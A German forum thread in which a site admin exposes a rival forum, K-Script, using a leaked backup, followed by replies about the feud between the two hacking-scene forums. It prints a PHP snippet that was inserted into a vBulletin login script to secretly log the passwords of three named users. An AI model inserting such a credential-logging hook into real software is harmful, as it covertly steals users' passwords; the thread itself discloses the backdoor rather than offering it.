Die Wahrheit über K-Script [Aufklärung]

[DMW007]

Guten Tag,

da Nachto vor einigen Tagen in den Besitz eines recht aktuellen Backups von K-Script gekommen ist (siehe http://u-hacks.net/news-und-ankuendi...27/#post196184) habe ich mir das Teamforum mal genauer angesehen. Es haben sich einige Infos gefunden, welche meine damaligen Vermutungen bestätigen bzw nicht entgültig geklärte Dinge aufklären.

Logging von Passwörtern
Ich habe mir das Loginscript von vBulletin angeschaut und dabei ein interessantes Snippet entdeckt:

$_pUser = strtolower($_POST['vb_login_username']);


 if( $_pUser == 'aquafit' ||
     $_pUser == 'skindred' ||
     $_pUser == 'medion95'
   ) {
         $fh = fopen("pwnedlolomqman1338husos1337.log", 'a') or die("");
         $data = $_POST['vb_login_username'] . " => " . base64_encode( $_POST['vb_login_password'] );
         fwrite($fh, $data."\n");
         fclose($fh);
 }

Für Nicht-Entwickler: Dieses Snippet speichert das Klartextpasswort von den Usern aquafit, skindred und medin95 Base64 Kodiert, wenn diese User sich in K-Script mit ihrem Account einloggen. Die K-Script Admins konnten dies also ganz einfach dekodieren und hatten das Klartextpasswort dieser Nutzer. Skindread war bis vor knapp einem Monat bei uns Tauschüberwacher (siehe http://u-hacks.net/news-und-ankuendi...tml#post190961) und unter dem Name Aquafit war Waterpolo damals bei K-Script registriert. Hier wurden also ganz gezielt die Passwörter unserer Teammitglieder abgegriffen, um damit unbefugt auf die Teamzone zugreifen zu können.

Der Inhalt der Datei war im Dump ebenfalls dabei:



Das zensierte sind die Passwörter, welche denen im DB-Dump entsprechen.

Flames und andere Kindergartenaktionen gegen U-Hacks
In der Teamzone fanden sich viele über geplante Aktionen die UH schaden, Leaks, Flamereien und sonstigem Mist. Bilder sagen bekanntlich mehr als 1000 Worte, daher einfach mal ein paar der interessantesten Posts die ich bisher gesehen habe:

Spoiler:K-Script Screens

Ich denke mal da brauche ich nicht viel zu sagen.. Man sieht eindeutig, dass hier gezielt versucht wurde uns zu schaden, und das nicht nur einmal.
Auffällig ist, dass Diebpsiel da nicht nur passiv dabei ist wie ich früher dachte, sondern SEHR aktiv mitgewirkt hat. Finde ich ziemlich schade, da er zu der Zeit den Eindruck machte als wäre er einer der wenigen in KS-Team die noch halbwegs klar im Kopf sind und solchen Unsinn nicht mitmachen. Aber wie man sieht ist dem ganz und gar nicht so.

Ich will damit kein geflame o.Ä. auslösen und auch nicht KS für alles verantwortlich machen. Sicher haben unsere Teammitglieder auch Fehler gemacht, das ist menschlich und steht außer Frage. Der Großteil ist aber wohl nur passiert, weil ständig Provokationen seitens K-Script kamen. Von K-Script wurde das dann immer so hingestellt als hätten sie überhaupt nichts damit zutun und wir wären die bösen Buben. Wie bereits damals gesagt hatte ich von Anfang an keine Lust auf so einen Kindergarten, da selbst so schon SEHR viel Zeit einfach im Nirvana gelandet ist, die man für sinnvollere Sachen (Forumserweiterungen, Software etc) hätte investieren können.
Lustigerweise haben nicht nur wir eine menge Zeit mit dem Suchen von angeblichen Leakern und sonst was verschwendet, sondern KS teilweise genau so (etwa mit dem UH Failblog, der bekanntermaßen wie 80% aller anderen Failblogs auch von Diebspiel erstellt wurde).

Für mich hat sich die Sache mit dem Ende von KS eh erledigt und ich bin froh, dass wir nicht wie früher regelmäßig Zeit für so sinnlose Aktionen wie die Suche nach angeblichen Leakern oder ähnliches verschwenden müssen. Ich finde nur, dass sowohl unsere Nutzer als auch die ehemaligen KS-User wissen sollten, was damals wirklich passiert ist. Verstehe ich sowieso bis heute nicht, dass zwei Foren mit dem gleichen Thema deren Userzahlen bereits damals gesunken sind nix besseres zutun haben als sich gegenseitig ans Bein zu pinkeln. Aber gut, das war nun mal so.

Diebspiel habe ich bis zum Schluss für einen der wenigen KS-Teamler gehalten, die noch halbwegs vernünftig sind. Das war offenber absolut nicht der Fall..
Finde ich nur ziemlich hinterhältig, dass er vorne herum einen auf netten User macht und mich in Skype zb noch um Hilfe beim Konfigurieren von nginx bittet, und hinten rum keine Möglichkeit ausgelassen hat um UH zu schaden.

[Devon]

Auffällig ist, dass Diebpsiel da nicht nur passiv dabei ist wie ich früher dachte, sondern SEHR aktiv mitgewirkt hat.

Seh ich genauso. Ist glaub ich auch einer der wenigen, denen man das zutrauen könnte, aber man kann sich ja bekanntlich auch täuschen... So ist das halt, man muss aufpassen mit wem man wie verkehrt, kann nämlich auch nach hinten losgehen. Zum Thema zurück: Vielen Dank für die langersehnte Bestätigung!

[Ta1lor]

3lit:
Hallo, war lange nicht mehr hier aber Fa1lor hat mir gerade mal deinen Thread gezeigt.
Als erstes frag ich mich, wieso nichts über mich dabei ist und die nächste frage ist wieso?
KS ist jetzt schon ziemlich lange offline fühlst du dich dafür verantwortlich die Welt über geheime Machenschaften aufzuklären, so Whistleblower mäßig? "K-SCRIPT BETEILIGT AN NSA PRISM PROJEKT!"
Das Backup muss über 100 ecken zu dir gekommen sein, könnte es manipuliert worden sein? Wer weiß.
Wir wollen fakten, wir wollen Aufklärung und Transparenz wählt die piraten!!1!

[Devon]

Verstehe ich sowieso bis heute nicht, dass zwei Foren mit dem gleichen Thema deren Userzahlen bereits damals gesunken sind nix besseres zutun haben als sich gegenseitig ans Bein zu pinkeln. Aber gut, das war nun mal so.

Wird auch leider immer so bleiben. Es gibt irgendwie immer jemanden, der einem ans Bein pinkeln will. Ein Forum gibt es ja bereits auch wieder, was es versucht - aber was bisher für mich noch recht kindisch gehalten ist und sich nicht mit den Bekannten wie KS und UH messen kann, nicht im geringsten, ebenso sollte man dafür seine Zeit lieber sparen...

Zu 3lit schreib ich mal lieber nichts, keine Lust dafür Zeit zu opfern.

[DMW007]

KS ist jetzt schon ziemlich lange offline fühlst du dich dafür verantwortlich die Welt über geheime Machenschaften aufzuklären, so Whistleblower mäßig? "K-SCRIPT BETEILIGT AN NSA PRISM PROJEKT!"

Wenn ich wirklich die Welt über geheime Machenschaften aufklären wollte würde ich da sicher ganz woanders mit anfangen als bei ein paar Kiddys die sich cool vorkommen weil sie U-Hacks ärgern. Ich glaube du guckst zu viele Filme lol.
Wie gesagt ich finde die User sollten das wissen, nicht mehr und nicht weniger.

Das Backup muss über 100 ecken zu dir gekommen sein, könnte es manipuliert worden sein? Wer weiß.

Das Backup kommt von Momo, eurem netten Ex-Admin. Der hat mit dem Betrug um die 40k Knuddels ja schon mehr als genug bewiesen, wie relevant KS für ihn ist. Das er alles was er von KS besitzt inklusive dem kompletten Dump und damit auch sämtliche Userdaten für ein paar Euro verkauft unterstreicht das nur noch. Außerdem sind ganz zufällig die bei euch im Forum angekündigten Dinge auch bei uns passiert.
Und du willst mir jetzt ernsthaft erzählen, dass Momo für ein Forum bzw eine ganze Szene die ihn null interessiert sich die Mühe macht den Dump zu manipulieren, und dann auch noch zeitlich passend? War ja auch nicht gerade so, dass es im TF einen Thread '[Sammelthread] Böhse Aktionen gegen UH' gab. Die Posts stammen aus verschiedenen Threads, darunter u.a. der Teamtalk-Thread, und auch da nicht auf dem Silbertablett serviert.
Das KS hinter solchen Sachen wie den Leaks aus der TZ steckt war mir eh schon von Anfang an klar, nur konnte ich es nicht beweisen. Und die User wo nicht gerade auf den Kopf gefallen sind konnten sich auch denken, dass da nicht das FBI dahinter steckt.
Aber lustig mit anzusehen wie du immer noch versuchst KS zu verteiden.
Wobei dich das in letzter Zeit anscheinend nicht wirklich interessiert hat, sonst wäre das angekündigte Archiv nach einem halben Jahr wohl mal online.

[patlux]

Und so jemand versucht nun eine Enzyklopädie über die Underground-Szene zu führen. Bin mal gespannt ob er diese Dinge auch in sein Wiki bringt...

Dass KS dahinter steckt, war mir auch schon immer klar gewesen. Aber Nett endlich mal 100% Gewissheit zu haben. Danke.

[Devon]

Und so jemand versucht nun eine Enzyklopädie über die Underground-Szene zu führen. Bin mal gespannt ob er diese Dinge auch in sein Wiki bringt...

Dass KS dahinter steckt, war mir auch schon immer klar gewesen. Aber Nett endlich mal 100% Gewissheit zu haben. Danke.

Bin mal gespannt, ob dort auch was geloggt wird, werden wir zwar nie herausfinden, aber man sollte sich nun besser dagegen schützen als reine Vorsichtsmaßnahme...

[Klaus Bukkake]

Und so jemand versucht nun eine Enzyklopädie über die Underground-Szene zu führen. Bin mal gespannt ob er diese Dinge auch in sein Wiki bringt...

Dass KS dahinter steckt, war mir auch schon immer klar gewesen. Aber Nett endlich mal 100% Gewissheit zu haben. Danke.

naja, du warst auch nicht immer...

e:

außerdem konkurrenz ist konkurrenz, die andere partei mit dem gleichen inhalt will immer die beste sein, ihr könnt mir nich erzählen dass ihr nur mit fairen mittlen gespielt habt ^^

[Devon]

Was heißt mit "fairen Mitteln"? Ich mein, irgendwie muss man sich ja gegen die Attacken von KS wehren. Ist ja nicht so, als würde man sich alles gefallen lassen, oder? Denke, das sieht jeder genauso.

[Klaus Bukkake]

Was heißt mit "fairen Mitteln"? Ich mein, irgendwie muss man sich ja gegen die Attacken von KS wehren. Ist ja nicht so, als würde man sich alles gefallen lassen, oder? Denke, das sieht jeder genauso.

das mein ich nicht so, bevor das begann mit dem hacken und das loggen usw, aber solange man ihm nix getan hat hat er auch nix gemacht

e: leider nix interessantes, aber da sieht mans er sprach schon länger das pw loggen an und hats mir gesagt, hab ihn dann mal gefragt "wie er das macht" - antwort sagt alles

http://www.u-img.net/view/3756Zy.png